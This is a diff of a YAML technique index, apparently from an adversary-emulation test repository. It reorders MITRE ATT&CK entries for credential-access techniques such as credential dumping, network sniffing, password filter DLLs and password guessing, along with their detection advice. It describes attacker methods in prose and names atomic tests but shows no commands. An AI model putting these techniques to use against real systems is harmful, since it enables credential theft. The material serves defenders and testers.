-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      name: Network Device Authentication
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:11:00.356Z'
+      created: '2020-10-19T17:58:04.155Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
       description: |-
         Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
 
         [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)
-      name: Network Device Authentication
-      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -4498,73 +4520,80 @@ credential-access:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:11:00.356Z'
-      created: '2020-10-19T17:58:04.155Z'
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
 
         Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/004
+        external_id: T1556.004
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
+        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
+          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
+        source_name: FireEye - Synful Knock
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Image File Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Image File Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
     atomic_tests: []
   T1040:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Network Sniffing
       external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1040
+      - url: https://attack.mitre.org/techniques/T1040
         external_id: T1040
-      - external_id: CAPEC-158
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/158.html
+        external_id: CAPEC-158
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/158.html
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-04-02T17:51:59.236Z'
+      x_mitre_system_requirements:
+      - Network interface access and packet capture driver
+      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Network
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
 
         Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
 
         Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.
-      name: Network Sniffing
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-02T17:51:59.236Z'
-      created: '2017-05-31T21:30:41.399Z'
-      x_mitre_version: '1.2'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: Detecting the events leading up to sniffing network traffic
         may be the best method of detection. From the host level, an adversary would
-        likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557)
+        likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
         attack against other devices on a wired network in order to capture traffic
         that was not to or from the current compromised system. This change in the
         flow of information is detectable at the enclave network level. Monitor for
         ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network
         devices is a bit more challenging. Auditing administrator logins, configuration
         changes, and device images is required to detect malicious changes.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Network
-      x_mitre_system_requirements:
-      - Network interface access and packet capture driver
-      x_mitre_is_subtechnique: false
+      created: '2017-05-31T21:30:41.399Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1040
     atomic_tests:
     - name: Packet Capture Linux
@@ -4697,68 +4726,43 @@ credential-access:
         elevation_required: true
   T1003:
     technique:
-      id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: OS Credential Dumping
-      description: |
-        Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.
-
-        Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003
-        url: https://attack.mitre.org/techniques/T1003
-      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
-          from Memory. Retrieved October 11, 2019.
-        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
-        source_name: Medium Detecting Attempts to Steal Passwords from Memory
-      - url: https://github.com/mattifestation/PowerSploit
-        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
-        source_name: Powersploit
-      - url: https://msdn.microsoft.com/library/cc228086.aspx
-        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
-          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
-        source_name: Microsoft DRSR Dec 2017
-      - url: https://msdn.microsoft.com/library/dd207691.aspx
-        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
-          4, 2017.
-        source_name: Microsoft GetNCCChanges
-      - url: https://wiki.samba.org/index.php/DRSUAPI
-        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
-        source_name: Samba DRSUAPI
-      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
-        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
-          Oh My. Retrieved December 4, 2017.
-        source_name: Harmj0y DCSync Sept 2015
-      - url: https://msdn.microsoft.com/library/cc237008.aspx
-        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
-          Retrieved December 6, 2017.
-        source_name: Microsoft NRPC Dec 2017
-      - url: https://msdn.microsoft.com/library/cc245496.aspx
-        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
-          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
-        source_name: Microsoft SAMR
-      - url: https://adsecurity.org/?p=1729
-        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
-          and Detection. Retrieved December 4, 2017.
-        source_name: AdSecurity DCSync Sept 2015
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: OS Credential Dumping
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Process: Process Access'
+      - 'Command: Command Execution'
+      - 'File: File Access'
+      - 'Windows Registry: Windows Registry Key Access'
+      - 'Active Directory: Active Directory Object Access'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Process: OS API Execution'
+      x_mitre_version: '2.1'
+      modified: '2021-10-15T19:55:01.922Z'
+      created: '2017-05-31T21:30:19.735Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2021-02-09T14:15:25.186Z'
-      created: '2017-05-31T21:30:19.735Z'
-      x_mitre_is_subtechnique: false
+      id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22
       x_mitre_platforms:
       - Windows
       - Linux
       - macOS
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - Administrator
       - SYSTEM
       - root
+      description: |
+        Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.
+
+        Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
+      x_mitre_contributors:
+      - Vincent Le Toux
+      - Ed Williams, Trustwave, SpiderLabs
       x_mitre_detection: "### Windows\nMonitor for unexpected processes interacting
         with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from
         Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002)
@@ -4798,20 +4802,45 @@ credential-access:
         ships stock in many Linux distributions, can be used to watch for hostile
         processes opening this file in the proc file system, alerting on the pid,
         process name, and arguments of such programs."
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Process: Process Access'
-      - 'Command: Command Execution'
-      - 'File: File Access'
-      - 'Windows Registry: Windows Registry Key Access'
-      - 'Active Directory: Active Directory Object Access'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Process: OS API Execution'
-      x_mitre_contributors:
-      - Vincent Le Toux
-      - Ed Williams, Trustwave, SpiderLabs
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003
+        external_id: T1003
+        source_name: mitre-attack
+      - source_name: Medium Detecting Attempts to Steal Passwords from Memory
+        description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
+          from Memory. Retrieved October 11, 2019.
+        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
+      - source_name: Powersploit
+        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
+        url: https://github.com/mattifestation/PowerSploit
+      - source_name: Microsoft DRSR Dec 2017
+        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
+          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
+        url: https://msdn.microsoft.com/library/cc228086.aspx
+      - source_name: Microsoft GetNCCChanges
+        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
+          4, 2017.
+        url: https://msdn.microsoft.com/library/dd207691.aspx
+      - source_name: Samba DRSUAPI
+        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
+        url: https://wiki.samba.org/index.php/DRSUAPI
+      - source_name: Harmj0y DCSync Sept 2015
+        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
+          Oh My. Retrieved December 4, 2017.
+        url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
+      - source_name: Microsoft NRPC Dec 2017
+        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
+          Retrieved December 6, 2017.
+        url: https://msdn.microsoft.com/library/cc237008.aspx
+      - source_name: Microsoft SAMR
+        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
+          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
+        url: https://msdn.microsoft.com/library/cc245496.aspx
+      - source_name: AdSecurity DCSync Sept 2015
+        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
+          and Detection. Retrieved December 4, 2017.
+        url: https://adsecurity.org/?p=1729
       identifier: T1003
     atomic_tests:
     - name: Gsecdump
@@ -4916,21 +4945,26 @@ credential-access:
         elevation_required: true
   T1110.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1110.002
-        url: https://attack.mitre.org/techniques/T1110/002
-      - external_id: CAPEC-55
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/55.html
-      - url: https://en.wikipedia.org/wiki/Password_cracking
-        description: Wikipedia. (n.d.). Password cracking. Retrieved December 23,
-          2015.
-        source_name: Wikipedia Password cracking
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Password Cracking
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.1'
+      modified: '2020-09-16T15:39:59.041Z'
+      created: '2020-02-11T18:38:56.197Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Office 365
+      - Azure AD
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d
       description: 'Adversaries may use password cracking to attempt to recover usable
         credentials, such as plaintext passwords, when credential material such as
         password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
@@ -4942,31 +4976,26 @@ credential-access:
         of the target network.(Citation: Wikipedia Password cracking) The resulting
         plaintext password resulting from a successfully cracked hash may be used
         to log into systems, resources, and services in which the account has access.'
-      id: attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-09-16T15:39:59.041Z'
-      created: '2020-02-11T18:38:56.197Z'
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Application Log: Application Log Content'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: It is difficult to detect when hashes are cracked, since
         this is generally done outside the scope of the target network. Consider focusing
         efforts on detecting other adversary behavior used to acquire credential materials,
         such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
         or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Office 365
-      - Azure AD
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1110/002
+        external_id: T1110.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/55.html
+        external_id: CAPEC-55
+        source_name: capec
+      - source_name: Wikipedia Password cracking
+        description: Wikipedia. (n.d.). Password cracking. Retrieved December 23,
+          2015.
+        url: https://en.wikipedia.org/wiki/Password_cracking
       identifier: T1110.002
     atomic_tests:
     - name: Password Cracking with Hashcat
@@ -5013,22 +5042,31 @@ credential-access:
         elevation_required: true
   T1556.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.002
-        url: https://attack.mitre.org/techniques/T1556/002
-      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
-        description: Fuller, R. (2013, September 11). Stealing passwords every time
-          they change. Retrieved November 21, 2017.
-        source_name: Carnal Ownage Password Filters Sept 2013
-      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
-        description: Bialek, J. (2013, September 15). Intercepting Password Changes
-          With Function Hooking. Retrieved November 21, 2017.
-        source_name: Clymb3r Function Hook Passwords Sept 2013
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Password Filter DLL
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:11:55.147Z'
+      created: '2020-02-11T19:05:45.829Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: "Adversaries may register malicious password filter dynamic link
         libraries (DLLs) into the authentication process to acquire user credentials
         as they are validated. \n\nWindows password filters are password policy enforcement
@@ -5044,34 +5082,25 @@ credential-access:
         receive plain-text credentials from the LSA. A malicious password filter would
         receive these plain-text credentials every time a password request is made.(Citation:
         Carnal Ownage Password Filters Sept 2013)"
-      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-20T20:11:55.147Z'
-      created: '2020-02-11T19:05:45.829Z'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Module: Module Load'
-      - 'Windows Registry: Windows Registry Key Modification'
       x_mitre_contributors:
       - Vincent Le Toux
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.
 
         Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/002
+        external_id: T1556.002
+        source_name: mitre-attack
+      - source_name: Carnal Ownage Password Filters Sept 2013
+        description: Fuller, R. (2013, September 11). Stealing passwords every time
+          they change. Retrieved November 21, 2017.
+        url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
+      - source_name: Clymb3r Function Hook Passwords Sept 2013
+        description: Bialek, J. (2013, September 15). Intercepting Password Changes
+          With Function Hooking. Retrieved November 21, 2017.
+        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
       identifier: T1556.002
     atomic_tests:
     - name: Install and Register Password Filter DLL
@@ -5112,25 +5141,33 @@ credential-access:
         elevation_required: true
   T1110.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1110.001
-        url: https://attack.mitre.org/techniques/T1110/001
-      - external_id: CAPEC-49
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/49.html
-      - source_name: Cylance Cleaver
-        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
-          14, 2017.
-        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
-      - source_name: US-CERT TA18-068A 2018
-        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
-        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
-          by Cyber Actors. Retrieved October 2, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Password Guessing
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      modified: '2021-04-21T16:41:35.269Z'
+      created: '2020-02-11T18:38:22.617Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
 
@@ -5154,36 +5191,28 @@ credential-access:
         In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
 
         In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
-      id: attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-21T16:41:35.269Z'
-      created: '2020-02-11T18:38:22.617Z'
       x_mitre_contributors:
       - Microsoft Threat Intelligence Center (MSTIC)
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Application Log: Application Log Content'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Monitor authentication logs for system and application login
         failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
         authentication failures are high, then there may be a brute force attempt
         to gain access to a system using legitimate credentials.
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
-      - Containers
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1110/001
+        external_id: T1110.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/49.html
+        external_id: CAPEC-49
+        source_name: capec
+      - url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
+        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
+          14, 2017.
+        source_name: Cylance Cleaver
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-086A
+        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
+          by Cyber Actors. Retrieved October 2, 2019.
+        source_name: US-CERT TA18-068A 2018
       identifier: T1110.001
     atomic_tests:
     - name: Brute Force Credentials of single Active Directory domain users via SMB
@@ -5398,71 +5427,97 @@ credential-access:
         name: sh
   T1555.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1555.005
-        url: https://attack.mitre.org/techniques/T1555/005
-      - source_name: ise Password Manager February 2019
-        url: https://www.ise.io/casestudies/password-manager-hacking/
-        description: 'ise. (2019, February 19). Password Managers: Under the Hood
-          of Secrets Management. Retrieved January 22, 2021.'
-      - source_name: FoxIT Wocao December 2019
-        url: https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf
-        description: 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation
-          Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved
-          October 8, 2020.'
-      - source_name: Github KeeThief
-        url: https://github.com/GhostPack/KeeThief
-        description: Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8,
-          2021.
-      - source_name: NVD CVE-2019-3610
-        url: https://nvd.nist.gov/vuln/detail/CVE-2019-3610
-        description: National Vulnerability Database. (2019, October 9). CVE-2019-3610
-          Detail. Retrieved April 14, 2021.
-      - source_name: Cyberreason Anchor December 2019
-        url: https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
-        description: 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM
-          A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September
-          10, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Password Managers
-      description: |-
-        Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)
-
-        Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)
-         Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
-      id: attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-14T19:15:22.416Z'
-      created: '2021-01-22T16:08:40.629Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: "Consider monitoring API calls, file read events, and processes
-        for suspicious activity that could indicate searching in process memory of
-        password managers. \n\nConsider monitoring file reads surrounding known password
-        manager applications."
+      name: Password Managers
       x_mitre_data_sources:
       - 'Process: OS API Execution'
       - 'File: File Access'
       - 'Process: Process Access'
       - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Matt Burrough, @mattburrough, Microsoft
+      x_mitre_version: '1.0'
+      modified: '2021-06-21T17:58:03.269Z'
+      created: '2021-01-22T16:08:40.629Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)
+
+        Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)
+         Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
+      x_mitre_contributors:
+      - Matt Burrough, @mattburrough, Microsoft
+      x_mitre_detection: "Consider monitoring API calls, file read events, and processes
+        for suspicious activity that could indicate searching in process memory of
+        password managers. \n\nConsider monitoring file reads surrounding known password
+        manager applications."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1555/005
+        external_id: T1555.005
+        source_name: mitre-attack
+      - url: https://www.ise.io/casestudies/password-manager-hacking/
+        description: 'ise. (2019, February 19). Password Managers: Under the Hood
+          of Secrets Management. Retrieved January 22, 2021.'
+        source_name: ise Password Manager February 2019
+      - url: https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf
+        description: 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation
+          Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved
+          October 8, 2020.'
